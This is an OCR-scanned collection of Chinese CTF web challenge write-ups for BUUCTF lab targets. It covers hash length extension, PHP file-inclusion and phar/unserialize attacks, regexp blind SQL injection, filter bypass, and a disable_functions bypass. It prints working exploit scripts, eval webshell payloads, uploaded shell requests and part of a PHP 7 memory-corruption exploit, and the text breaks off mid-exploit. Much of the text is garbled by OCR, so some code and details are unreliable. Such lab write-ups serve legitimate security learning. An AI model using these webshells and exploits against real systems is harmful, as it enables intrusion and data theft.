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[NPUCTF2020]ezinclude

TEJELERRN: mds($secret. $name)===

$pass

G @ # view-source:http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.but
iEsws 2R € FFELE [ wlessysms. 0 [EH] -SiFEs. © S92 @ 1A | Bt

username/password error<html>

!——md5 ($secret. $name) ===f§pass —>

</html>

bp#lfL, #2232 Ppass=cookier fHashff ik

J Hadw | Fardines | [pl-2-L - | nex |

by

J Lat-A ) | [pl-2-L - | nex | nimL L=l ]

GET /Ppass=fa25e34758cd3d3c1 927781 abededofda HTTPA 1

Host: ©1952ah8-b389-4cd44-b2h5-07020d9c14886 node3 buuoj.cn

User-Agent: Mozillais .0 (Windows MT 10.0; WinGd; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: texttml application/xhtml+xml applicationtzml;g=0 9 image/webp **g=0 8
Accept-Language: zh-CN zh;g=0 8 zh-TW.g=0.7 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2

Accept-Encoding: gzip, deflate
Connection: close

Cookie: _ga=GA1.2.202177182.1584773494; Hash=1a25e547 58050501 927751 abedeBofia

Upgrade-Insecure-Reguests: 1

HTTPM .1 200 OK

Server: openresty

Date: Wed, 14 Oct 2020 14:27:10 GMT
Content-Type: texthitml, charset=UTF-8
Content-Length: 165

Connection: close

Yary: Accept-Encoding
¥-Powered-By: PHP/T 0.33

=<script language="javascript" type="textjavascript"=
Iwindnw.Incatinn.href=“ﬂﬂﬂﬂag.php“; |

<JSChpt=
<htrnl=
<LmdSEsecret$name)===8pass —>»
</html=

WpitiX & — A hashK EY BE i, BAIAMiEsecretZFAKE . 7 LLF Thashpumpii. AT LS BIA B
M F K YR s B A L K HashPump 22 2548 FH 7 ¥k

import os
import requests
for i in range(1,12):

data=os.popen('hashpump -s fa25e54758d5d5c1927781a6ede89f8a -d admin -k '+str(i)+' -a admin').read()

name=data.split('\n')[0]

password=data.split('\n')[1].replace( '\\x",'%")
result=requests.get('http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.buuoj.cn/?name="+password+'&pass="+na

me) . text
print(result)


https://www.cnblogs.com/pcat/p/5478509.html

5 3Ififfflag.php, IEY; RN ATHEI—MEE

— L 1 1 1 1
GET Hifififlag php HTTRM A A HTTP/M 1 200 OK
Host: ©1952ab8-b389-4c44-b2k5-07 02061904886 noded buuoj .ch a Server: openresty
User-Agent: MozillafiS 0 (Nindows NT 10.0; Wing4, x64; rv:72.0) Gecko/20100101 Firefox/72.0 Date: Wed, 14 Oct 2020 14:31:48 GMT
Accept: texthitml applicationsxRtmi+xml applicationfml, g=0.9 imageiwebp **g=0.8 Cortert-Type: text/html; charset=UTF-8
Accept-Language: zh-CM zh,g=0.8 zh-TW,g=0.7 Zh-HK, g=0.5 en-US;q=0 .3 en,g=0.2 Contert-Length: 241
Accept-Encoding: gzip, deflate Connection: close
Connection: close Vary, Accept-Encoding
Cookie: _ga=GA1.2.202177182.158477 3494, Hash=ra25e54758d505c1 927781 abededofia ¥-Powered-By: PHP7.0.33
Upgrade-Insecure-Reqguests: 1

<html=

<head>

<script language="javascript" type="text javascript">
window.location.href="404.html"}

<lscript=

<title=this_is_not_fldg_and_th & A _wants_girlfriend=ftitle>

=head=

=

<hocy=
include($_GET["file"])hody=
<TAtr=

5 F O U USSR BR B AT 48 BJRAS > File=php://Ffilter/convert.base64-encode/resource=f1f1flflag.php

<?php

$file=$ GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');

¥

@include($file);

echo 'include($_GET["file"])';
?>

ST data|input|zip AREAMNIHMNERELT
X B ] UL php7 segment faultf {4 php://filter/string.strip_tags=/etc/passwd
php# AT i 24 L Segment Fault, XAERAESLREIR EAE 30, T2 KGR LGRS REEMp B, AR

import requests
from io import BytesIO
import re
file_data={

'file': BytesIO("<?php eval($_POST[cmd]);")
}
url="http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_ta
gs/resource=/etc/passwd"
try:

r=requests.post(url=url,files=file _data,allow_redirects=False)
except:

print(1)



HEFXATUAAE] dirphp, W LEZXANTESIL T tmp T HIFTE .

V7 dir.php78 2| I i 32 444 phpyS228e

<« C @

|® # 952ab8-b389-4d44-b2b5-07020d9d4886.node3.buuoj.cn/dirphp v

Byxmesas EsAmt @ FFtl (P WwIsssekms. () (B -Samgs. ¢ 528 PTA | 2

array(3) { [0]==> string(1) "." [1]== string(2) ".." [2]=> string(9) |phpyS5228e1}

%2418 Bphpinfo(), bpiMELEIT, 2T flag

J Raw | Params | Headers | Hex |

me|Headers|Hex|HmL|Remr|

POST Mifififlag php?file=tmpiohpyS228e HTTPHA A

Host: ¢1952ah8-h389-4cl44-h2h5-07020c9cl4886 node3 buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x54; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: textintml licationfxhtmbxml licationbmlg=0.9,i bp, =08
Accept-Language: zh-CN,zh;g=0.8 zh-TW,q=0.7 zh-HK;0=0.5 en-US 0=0.3 eno=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/z-www-form-urlencoded

Content-Length: 20

Crigin: http:ific1952ah5-h3589-4d44-h2h5-07020cd9d4386 node3 buuoj.cn

Connection: close

Referer: Http:fic1952ab8-b389-4d44-b25-070200904886 node3 buuoj.cn/404 html

Cookie: _ga=GA1.2.202177182.1584773494; Hash=fa25e54758d5d5c1 927781 atedeB9fBa
Upgrade-Insecure-Reguests: 1

emd=phpinfo®28%:29%36

T

<tr=<td clags="e">PHP_ASC_URL =fd=<tc|

class="v"=https:/secure.php.net/get/php-7.0.33.tar. xz.asc fromihis/mirror <tcd=<ftr=

<tr=<td clags="e">PHP_CFLAGS =#d=><td clazs="v"=-fstack-protector-strong -fpic -fpie -02 <fd=<fr=

=tr=<td clags="e">PHP_EXTRA_BUILD_DEPS =fd=<td class="v"-apache2-dev =fd=<fr=

=tr=<td clags="e">PWD <fd=<tdl class="v"=ar/www/mhtmil <fd==fr=

<tr=<td class="g">PHP_LDFLAGS <ftd=<tdl class="v"=-WI,-01 -Wl,--hash-style=hoth -pie =id=<fr>

=tr=<td class="e"=APACHE_RUN_GROUP =fd=<td class="v">www-data <tc=<r>

<trz<td class="e">APACHE_RUN_DIR =fd=<td class="v"=iwarTun/apache2 <td=<fr=

=tr=<td class="e">PHP_INI_DIR. <icl><td class="v">/usrlocal/etc/php =id==tr=

<tr=<td class="e"=PHP_URL <td=<td class="v"=http: e.php.

<hecl=<fr=

<tr=<td class="e"-APACHE_ENVVARS =<tcl=<td class="v"=letc/apache2/enwvars <hd=<fr=

<tr=<td class="">PHP_CPPFLAGS <fd><td class="y' fs‘tack pro‘tec‘tor s1rnng fpic fpie -02 <fd=<fr=>

<tr=<td class="e">APACHE_RUN_USER =fga<id cla AL

<rs<id class="e">FLAG <Ad><td class="y" dsetrs

<tr=<td class="e">PHP_WERSION =Acl><td T3

<tr=<td clags="e"=APACHE_PID_FILE =#d=<tc| class— " >Nar.l‘runfapal:he?.l’apachez pid <ftd=<fr=
"g">SHLVL <fcl><td class="v">0 <fd=<fr>

S P S

-7.0.33.tar xz fromithisim

WA DA s &R 1%, {HRBAFopen basedir, disable function, A #EARE]

#
I fRE  xFE I GES
BEumE

— s e v—a

© 0 A EaiE 1

M $H3F#8 (http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.bu... - O X

URLHHE * ?b5-07020d9d4886.node3.buucj.cn/fIfiflflag. php?file=/tmp/phpyS228e

EEES cmd

PeliiE
WERE UTF8
i PHP
RS
(= default ()
) random (3R
) base64
2 EkiERE
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https://zhuanlan.zhihu.com/p/62958418
https://bbs.zkaq.cn/t/3639.html
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BRFFINERT, BEZHBEBXHTHBANE.
FTFFH view-source: BEIEIE, BRER

<FONT color=trrffff size=HMOEEERSEEETEO BB EAN</FONT>

<FONT color=5ffffff size=3>By HELEN <span lang=EN-US style= font-size:10. 0pt:mso-hidi-font—-size:12. Opt;
font—family:Georgia;color:lime’ »<FONT colox=iffffffila hraf="http:/ /www. nwpu. edu. cn”>00 123456789</a></FONT:
<p>B A ANERINPUIRET 0 E3BET: <a hrefd”. /time. php?source”}</a></p>

<SCRIPT lamguage=javascript>
function runClock() {

theTime = window. setTimeout {"runClock()”, 100);
var today = new Date();

var display= today. toLocaleString () :

window. status=""+display+" WA Z[FHELEN" -
}runClock () ;

</SCRIPT>

</body>

</html>

2020-04-28 01:12:17

HANRBIREG, ARFHIN
__construct()  TERIRAIEEHT N GBS 8 A ik 7 2
__destruct() XFE TR 51 FH AR R B 2% Sbk B A S AT

<?php
#error_reporting(0);
class HelloPhp

{
public %$a;
public $b;
public function __ construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
¥
public function _ destruct(){
$a = $this->a;
$b = $this->b;
echo $b(%a);
¥
¥

$c = new HelloPhp;

if(isset($ _GET['source']))

{
highlight file(__ FILE_ );
die(0);

}

@$ppp = unserialize($ GET["data"]);

HTFH echo $b($a); ¥ Hassert(\Wit R FFIb AL, BMAMT:



<?php
class HelloPhp

{
public $a;
public $b;
b
$c = new HelloPhp;
$c->b = 'assert';

$c->a = 'eval($_POST[a]);"';
echo urlencode(serialize($c))."<br/>";
?>

5 F|payload:

?data=0%3A8%3A%22HelloPhp’%227%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3Bs%3A1%3A%2

2b%22%3Bs%3A6%3A%22assert%22%3B%7D

&« G @ © & 30a76f33-30e6-4c27-adch-c43bb3adc558.node3 . buuoj.cn/time.p BE e Y
Bymissas OsSEML @ FE:rE ([ WwessSSems. () S -SHg=. ¢ =28 @ PTA|EEsiEsh.. &) &

PWD Searfwanw/html

PHP_LDFLAGS -WI,-01 -Wl,--hash-style=both -pie

APACHE RUN_GROUP www-data

APACHE RUN_DIR Jvar/runfapache2

PHP_INI_DIR Jusrflocal/etc/php

PHP_URL https://secure.php.net/get/php-7.0.33.tarxz/from/this/mir

APACHE ENVVARS

fetc/apache2fenvvars

PHP_CPPFLAGS

-fstack-protector-strong -fpic -fpie -02

APACHE RUN_USER www-data
FLAG flag{3a6638b8-531f-48df-8119-6650d7439844}
PHP_VERSION 7.0.33
APACHE_PID FILE Jvarfrunfapache2/apache2.pid
SHLVL 0
PHP_MD3 no value
PATH fusrflacalfshin:fusrilocal/bin:usrfshinsfusrfbin:/shin:/hin
flag Al v | S=2ma) BESASO MERREEMW =50, 556 A NER
R O=s8 Oese DEE NEs ieEs Qs OnF OFE F O5ERs @ Hakbar @ MaxHa

Encryption ~ Encoding ~ SQL~ XSS~ Other +

s Lead URL http://30a76f33-30e6-4c27-adc6-c43bb3a4c558 . node3. buuoj.cn/time php?data=0%3A8%3A%22HelloPhp%22%3A
%3B%22%365%3A1%3A%22D%22%3B5% 3A6%3A%22as5eM%22%36}

g.g Split URL

» ) Execute

a=phpinfo();

fEphpinfo()N & #flag, BMBEITo o o o o
%% . BUUCTFINPUCTF2020] web #84WP

[GXYCTF2019]BabysqliV3.0

Postdata [] Referer [ User Agent [] Cookies

Clear All


https://www.cnblogs.com/youmg/p/12763212.html

BRERFAS. o o o
5 :admin, %19 :password
HNER—AEETH, RIEXHEE, #HANHX:

?file=php://filter/read=convert.base64-encode/resource=upload

<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;

function _ construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION[ ‘user'])."/";
$ext = ".txt";
@mkdir($sandbox, @777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $ _GET['name'])){
$this->Filename = $ _GET[ 'name'];

¥
else{
$this->Filename = $sandbox.$ SESSION[ 'user'].$ext;
¥
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $ SESSION[ 'user'];

function upload($file){
global $sandbox;
global $ext;

if(preg_match("["a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big ('V 7)');";
}

else{

$this->cmd = "move_uploaded file('".$file["tmp_name']."", . $this->Filename . "');";
}
}

}

function __ toString(){

global $sandbox;

global $ext;

// return $sandbox.$this->Filename. $ext;
return $this->Filename;

function _ destruct(){

if($this->token != $ SESSION[ 'user']){
$this->cmd = "die('check token falied!');";
}

eval($this->cmd);

}



if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($ FILES["file"]);
if(@file_get_contents($uploader)){
echo "TFHRER EAERSH: <br>".$uploader. "<br>";
echo file_get_contents($uploader);
¥
¥

?>

FEHHI

ENSHA RS, ZLETZEHK, FrUSETRAESEEMRA

i=k:pa ]

Request

Raw | Params | Headers | Hex

, ATPLE#: LfEshell, A JEEIES Bnamef& s 4 php X,

Response

Raw | Headers | Hex

Host: 2f3cT7E%e-ded3-478c-h060-359d1 d377 3% node3 buuoj.cn

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: texthtml, licationfchtml+xml, licati =09 ** =08

Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5,en-US;g=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Contert-Type: multipartiform-data; boundary=---------------eemeeeeeeen 8467633426500
Contert-Length: 327

Origin: hittp: /12f3c7E0e-deB5-478c-b060-558:1 37739 node3 buuoj.cn

Connection: close

Referer: hitp://2f3cT 69e-cde85-475c-b060-359d1 d37739e node3 huuoj.cnhome phpFfile=upload
Cookiz: _ga=GA1.2.202177182.1584773404; PHPSESSID=678c6354b6{dhEasds4644dad304efel
Upgrade-Insecure-Reguests: 1

----------------------------- 8467633426500
Contert-Disposition: form-data; name="file"; filename="a jpg"
Contert-Type: imagefpeg

GIFE9a
=Tphp @eval(§_POST[pass), 7=

POSTIRA: pass=system('cat ../../flag.php');

C ®

POST K HTTPA 1 200 OK
Thome php?ile=upload shwewew htmliuploacds B92e4e7e385ad2f0ff0bE1 6842522856 ishel php Server: openresty
HTTPA 1 Date: Tug, 28 Apr 2020 15:10:39 GMT

Content-Type: texthtml; charset=UTF-5

Content-Length: 513

Connection: close

Cache-Cortrol: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1951 08:52:00 GMT

Pragma: no-cache

¥-Powered-By: PHPIS.6.40

=meta http-equiv="Content-Type" content="text/html; charset=utf-8" /= <title>Home=Aitle> 23§ 5] /{115 upload.php=meta
http-equiv="Content-Type" content="text/htm|, charset=utf-g" /=

«form action="" method="post" enctype="muttipart form-data"=

LA

<input type="fie" name="file" /> SETHMS

<input type="submit" name="submit" valus="_t{4" j» EgzjjShe' Iphp
<iform=

2edeTe:

TR f A R <b|'|:m| WW

nhn|b|'>GlF8!la
=7php @eval(§_POST[pass

£ view-source:http://2f3c769e-de85-478c-b060-559d1d3773%.node3.buuoj

eSS SRR @ FFtkE (P Wlsssssms. O (ER -SiFEs. © =858 @ rTa | 8

GIF8%a
<?php
$rlag =
2>

FEH2

“flag {cfdddae7-1e48-4b79-ael2-9abl20e6daad} ”;



ME/EER T AURENSCE, RIAAHE AT, A RER
HTH: echo file get contents($uploader); , LfEFEERH $uploader XANXHHIANE, FrUA R E# $this->Filename
Aflag.php REHEEEN KRB Elag T

< Cc @ |® # 1a07-bf07-3237eac386fe.node3.buuoj.cn/upload.php?name=flag.php

Buassss EsAmm @ #iFtlE [f Wwiassskme. O [EK) iRz, © 228 QeTA|8Fas

HEH | RIS SEETE, =
TEE{R SRS
flag.php

EEEEFEIRAEE, RAfH—K! !

¢ & # 3-52d5-4a07-bf07-3237eac386fe.node3 buuoj.cnf/upload.php?name=flag.php

Oyaierss OEERE @ FFtlE [P mIsSSstEs. 4 S -SiREs. © S8E @ PTa| S

<{meta http—equiv="Content-Type” content="text/html; charset=utf-8" />

<{form action="" method="post” enctype="multipart/form—data”>

LT

<{input type="file” name="file" />
<input type="submit” name="submit” value="_L{%" />
</form>

THEEF EERE: <br>flas. pho<br><?php

$flag = "flag{b7803b27-bc74-430d-810e—50573c13414e} ”;
2>

i
BARRTESY, RITKEnameS BB getfeH:

$this->Filename = $_GET['name'];

ZEHERAT AT A, RERiFtokenz Suserffisessiontd B B 7 eval#i A7 #r 4

function _ destruct(){
if($this->token != $ SESSION[ 'user']){
$this->cmd = "die('check token falied!');";

¥
eval($this->cmd);

BATREib &5 Mfile_get_contents()BuAT it S RAT R 2 Kiflag.phpt i T o SEBE AL —AN SO 8 JRATH SO B FMtoken

LA15|FBRYIZ upload.php

HENE | .. | EsEa, i
TES{F HERE:

Svarfwww/html/uploads/1c3eb0431ff4ee6e75131a6624539f1 24GXY12b984f2d6e3400454ca54a2cf99875 3 txt
GIF89

)5 A HAE Bphar SO, 5 PR T8 E A AR -



<?php

class Uploader{
public $Filename;
public $cmd;
public $token;

¥

%0 = new Uploader();

$o->cmd = 'highlight_file("/var/www/html/flag.php");";
$o0->Filename = 'test';
$o->token =

echo serialize($0);

$phar = new Phar("phar.phar");
$phar->startBuffering();

'GXY12b984f2d6e3400454ca54a2cf998753"; //$ _SESSION[ 'user']

$phar->setStub("GIF89a"."<?php _ HALT COMPILER(); ?>"); //#Estub, Bigif it

$phar->setMetadata($o); //# H & Xmeta-datafAAmanifest
$phar->addFromString("test.txt", "test"); //FIEEHHIXIE
$phar->stopBuffering();

R Ephp.ini¥ phar.readonly & & Noff, #AJEHATEIRI3kEXphar.phar, & 3C44 k4%

SRJE B L AR SR N _E 250 name AT fi & phar /¥ 51 46

thome php?file=upload&name=phar: Mvariwwwhtmliuploadsi c3eb0431 ffdeeber 51 318662453911 201G Y 12h95412d5e34
00454casS4a2cfI98753 txt HTTPM 1

Host: 3438042c-34b1-410e-b89%c-a01925347246 node3 buuaj.cn

User-Agent: Mozila/s.0 (Windows NT 10.0; Wing4; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Accept: texthtml applicationfhtml+xml applicationfmlg=0.9 **g=0.5

Accept-Language: zh-CM zhg=0.8 zh-TW,g=0.7 zh-HK,g=0.5 en-US;g=0 3 en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=-
Content-Length: 585

Origin: hitp; /343804 2-34k1 -4f0e-b30c-a01925347 246 node3 buugj.cn

Connection: close

Referer: hittp: /343804 2c-34b1 -4f0e-h858c-a01 925347 246 node 3 buuoj cn/home php ?ile=upload
Cookie: _ga=GA1.2.202177182.1584773494; PHPSESSID=2¢d7a0800ac7a435441 33046511 061 bk
Upgrade-Insecure-Reguests; 1

---20658227045530

_____________________________ 20558227045930
Content-Disposition: form-data; name="file"; filename="phar phar"
Contert-Type: applicationfoctet-stream

GIFg9a=7php _ HALT_COMPILER(); 7=

OO000C:8: "Uploader": 3:{s:8:"Filename", s: 4:"test",=: 3. "emd", . 41:"highlight _file("Aarinweww Ml flag php") ' s 5 token”, s
135"GH Y1 2h954f 2062 3400454085482 fI987 53", (0test bt O O 5 Otest 00 ¢ {i0O00%3 17 21 S OGEMB
----------------------------- 209658227049930

Contert-Disposition: form-data, name="submit"

5%,

GXYCTF-%% - & &BabaySqli v3.0
GXYCTF2019&GWCTF2019——Writeup
fBIHTGXY_CTF “BabySqli v3.0"Z Pharz JF 51l1k

[NCTF2019]SQLi

A

Request Response
j Raw T Params T Headers | Hex Raw | Headers | Hex
POST HTTRA .1 200 OK

Server: openresty

Diate: Mon, 25 May 2020 16:03:33 GMT

Contert-Type: texthtml;, charset=UTF-5

Contert-Length: 700

Connection: close

Cache-Control: no-store, no-cache, must-revalidate, post-check=(
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

¥-Powered-By: PHPIS & .40

=meta hitp-equiv="Contert-Type" content="text/html, charset=utf-i
upload.php=meta hitp-equiv="Contert-Type" content="text/html; |

=form action="" method="post" enctype="multipartform-data">
AR
<input type="file" name="filz" />
<input type="submit" name="submit" value="_t %" k=
<fform=

=code=<span style="color: #000000"=

=span style="color: 20000EE"=&M; 2php=hbr =$flag&nbsp;=/zpa
#OO7700"==&nbsp;=/span=<span style="color:

#DDDDDD":»mam c97d71e7-1616-4bba-997¢-a5H d4?e4f44}1<fs
[==jspan==span style="color. #O00NSE"= 7 &gli=br f==/zpan=

T



https://www.jianshu.com/p/2b5e7bd64264
https://blog.csdn.net/qq_42181428/article/details/104402654
https://www.gem-love.com/ctf/490.html

B 451 [ robots.txt & i

< ¢ @ |® # fcffbbbf-04b1-48b1-b528-a4f6c010bb69.node3.buuoj.cn/robots.txt
Boamsrmss EEEmE @ HFtE (P mlassssms. O Sk -SImgs. © =28 Qe

User—agzent; *

Disallow: |/hint. txt |

Vi 1 hint b8 BVE ARG

$black list = "/limit|by|substr|mid|, |admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=]| |in
[<[>-1\.-]\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If ¢ POST[ 'passwd'] === admin's password,

Then you will get the flag;

BT BRI SMERER, MaARGEH \ REXRFS5T, Ho5HEsqiit ERFHEERE5 5, H %0 Bli(phps), B uHIk
F % i AN 5 B R D S B, R4 AN BE DL BE T Sk, 7T BAR ~ DL E 75 7Sk

RAIENES]:
select * from users where username='\"' and passwd="'||/**/passwd/**/regexp/**/""S¥(H" ;%00"
Ui A .

import time

import string

import requests

from urllib import parse

passwd =

string= string.ascii_lowercase + string.digits +
url = "http://fcffbbbf-04b1-48b1-b528-a4f6c010bb69.node3.buuoj.cn/"’

for n in range(100):
for m in string:
time.sleep(0.1)

data = {
"username":"\\",
"passwd":"||/**/passwd/**/regexp/**/\" {}\";{}".format ((passwd+m), parse.unquote('%00"'))
¥

res = requests.post(url,data=data)
print(data[ 'passwd']+"'-"*int(10)+m)
if 'welcome' in res.text:

passwd +=m

print(m)
break
if m=="_" and 'welcome' not in res.text:
break

print(passwd)



roject v

[NCTF2019]5QLi.py
al Librari

hes and Ce

B3| you_will _never_know7788990 , & FEIH15Fflag
%% . NCTF2019
[HarekazeCTF2019]encode_and_encode

R E 4 T IR


http://forever404.cn/2020/01/24/NCTF2019/

<?php
error_reporting(0);

if (isset($ GET['source'])) {
show_source(__FILE_ );
exit();

¥

function is_valid($str) {
$banword = [
// no path traversal
"No Vo “ ¢
// no stream wrapper
"(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
1
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;

¥
return true;
¥
$body = file_get_contents('php://input');

$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page’'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";

}
} else {
$content = ‘<p>invalid request</p>";

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode([ 'content' => $content]);

33K 5B A8 R U 169 4 3 B AR R -

is_valid($body) X post H#EkK:, FEIEEHR $banword HIKSCHEIE, WMptTvk L% flag, XETE json #1, FLMER Unicode
s, flag M% T \uew66\uPR6C\U0061\UBR67

BIEARLSE, FKEX page WRLFISCHE, H AT BN AR MERD is_valid 8%, AEKXHEF HarekazeCTF{} &#N
HarekazeCTF{&1t;censored&gt;} , XFEBLTCIERA SCiE flag

XEMAEN /\uee66\uee6c\uoo61\uee67 J&, T flag XH A S flag X8EF, FrLLRE not found , XHIGIEMH file://

file_get _contents /& ] LAfl& php:/filter (7, FrLAZE BB A Dy A SGEEER, X php #9334 F Unicode %éid B ]
H 4 i payload:

{"page":"\u0@070\u0068\ULO70://filter/convert.base64-encode/resource=/\u@066\ud6C\u0O61\U0O67" }



http://44fb5cha-9fed-43 +

Mo environmg

POST http://44fb5cha-Sfed-43f4-bab2-4d800d56eed2.node3 buuoj.cn/guery.php
Authorization Headers Body @ Pre-request Script Tests {
form-data x-www-form-urlencoded L binary Text v
1 | {"page":"\uBATAWUBGEE\LBBTE: //Filter/convert. basefd-encode/ resource=s/\WBBER\ UARGC \ LBBE L UBGET "
2
Body Cookies Headers (8) Tests Status: 200 OK
Pretty  Raw  Preview HTML v = ¢
i1l | {"content": "ZmxhZ3swZTEWZDZiNy 1kMAVILTQyYS ctOG0zMSO3YmEY ZT Intim] kNmvoCg=="} \«;
iX B hackbarft AT A RZh, {# Fpostmanikié N, &5 Fbase64 @i Bl A]
INEEEE gPIMEE BASEE4  EHR/BASEsiER
BHR: BASEG4:
flag{0e10d6bT7-d1ee-42b7-8d31-Tha2e202bd6e} . ZmxhZ3swZTEWZDZiNy TkMWVILT QyYjetOGQzMSI3YmEYZTiwMmJ
BASEGASRES » kNmV9Cg==
< BASEGARETS
2%
HarekazeCTF2019 web

[GKCTF2020]CheckiN


https://xz.aliyun.com/t/6628

<?php
highlight file(_ FILE_ );
class ClassName

{
public $code = null;
public $decode = null;
function _ construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
¥
public function x()
{
return $_REQUEST;
¥
¥

new ClassName();

B HFE eval($this->decode) , BEPFAT A Ibaseb4 B 5 115 )
4 2 phpinfo(), ?Ginkgo=cGhwaW5mbygpOw%3d%3d , VER==Zurlfmid

in 60 © [ @ «
@ FErE (P RISSSeERme. O (B SN, ¢ =58 Qe |2k, 6 & @ Nessus Bssentials /F.. @ E [d bmtt

‘ © & 3d9e3635822.noded.buuoj.cn/?Ginkgo=cGhwaWsmbygpOwd%3d%3d ~ Fi = ﬂr‘

=== = /=
auto_append_file no value no value

auto_globals jit On On

auto _prepend file

browscap

default charset UTF-8 UTF-8

default mimetype text/html text/html

disable classes no value no value

" le functions pentl_alarm, pentl_fork, pentl_waitpid,pentl_wait,pentl | pentl_alarm,pentl_fork, pentl_ waitpid, pentl_wait, pentl

_wifexited,pentl_wifstopped, pentl_wifsignaled, pent]_
wifcontinued pentl_wexitstatus pentl_wiermsig,pentl
_wstopsig,pcntl_signal,pentl_signal_get handler,pent
|_signal_dispatch,pentl_get_last_error,pentl_strerror,
pentl_sigprocmask,pentl_sigwaitinfo,pentl_sigtimed
wait,pentl_exec,pentl_getpriority, pentl_setpriority, pc
ntl_async_signals,system,exec shell_exec popen,proc
_open,passthru,symlink link syslog,imap_open,id dl,

_wifexited,pentl_wifstopped, pentl_wifsignaled, pentl_
wifcontinued pentl_wewitstatus pentl wiermsig,pentl
_wstopsig,pentl_signal, pentl_signal_get handler,pent
|_signal_dispatch,pentl_get_last_error, pentl_strerror,
pentl_sigprocmask,pentl_sigwaitinfo, pentl_sigtimed
wait, pentl_exec,pentl_getpriority, pentl_setpriority,pc
ntl_async_signals,system,exec,shell_exec popen,proc
_open,passthru,symlink linle sypclog imag_cpen Id di,

KIFEdisable functions, FTELIT, BERAEAN—HE:

@eval($ _POST['pass']);

QGV2YWwoJF9QTINUWydwYXNzJ10pOw?%3d7%3d




RIB B FHreadflag, {HHFAdisable_functions, FikE# /readflag

LRI TP BRI TREIERY
« 2 (D111.73.46.229
O B#3kk (19) < | O3pmik (23)
=/ ofFE ~ +FE CThHE #FBF MHE -
s var
= 2% A
bin
- O lib 2020-05-15 12:49:18
| boot
O libe4 2020-05-14 14:50:00
I dev
— (3 media 2020-05-14 14:50:00
M home O mnt 2020-05-14 14:50:00
M b O opt 2020-05-14 14:50:00
I libsa O proc 2020-05-25 11:19:00
I media 3 root 2020-05-15 13:27:07
B mnt (3 run 2020-05-19 06:12:25
B opt
¢ (3 sbin 2020-05-15 12:49:18
I proc
O srv 2020-05-14 14:50:00
| root
R 0O sys 2020-05-05 12:23:44
I sbin 0 tmp 2020-05-19 06:14:03
M s OO usr 2020-05-14 14:50:00
o sys (3 wvar 2020-05-15 12:41:50
B tmp [ .dockerenv 2020-05-25 11:18:59
. usr Y flag 2020-05-25 11:19:01
D readflag 2020-05-23 16:41:52
B start.sh 2020-05-24 01:45:01

fEF—ANA: PHP 7.0-7.3 disable_functions bypass PoC (*nix only)

<?php
PHP 7.6-7.3 disable_functions bypass PoC (*nix only)
Bug: https://bugs.php.net/bug.php?id=72530

#
#
#
#
# This exploit should work on all PHP 7.0-7.3 versions
#

# Author: https://github.com/mméri

pwn("/readflag");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$31);
¥

return $address;

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {


https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

$out .= chr($ptr & oxff);
$ptr >>= 8;
¥

return $out;

function write(&$str, $p, $v, $n = 8) {
$i = o;
for($i = @; $i < $n; $i++) {
$str[$p + $i] = chr($v & Oxff);
$v >>= 8;

function leak($addr, $p = @, $s = 8) {
global $abc, $helper;
write($abc, @x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;

function parse_elf($base) {
$e_type = leak($base, ox10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e phoff + $i * $e_phentsize;
$p_type leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;

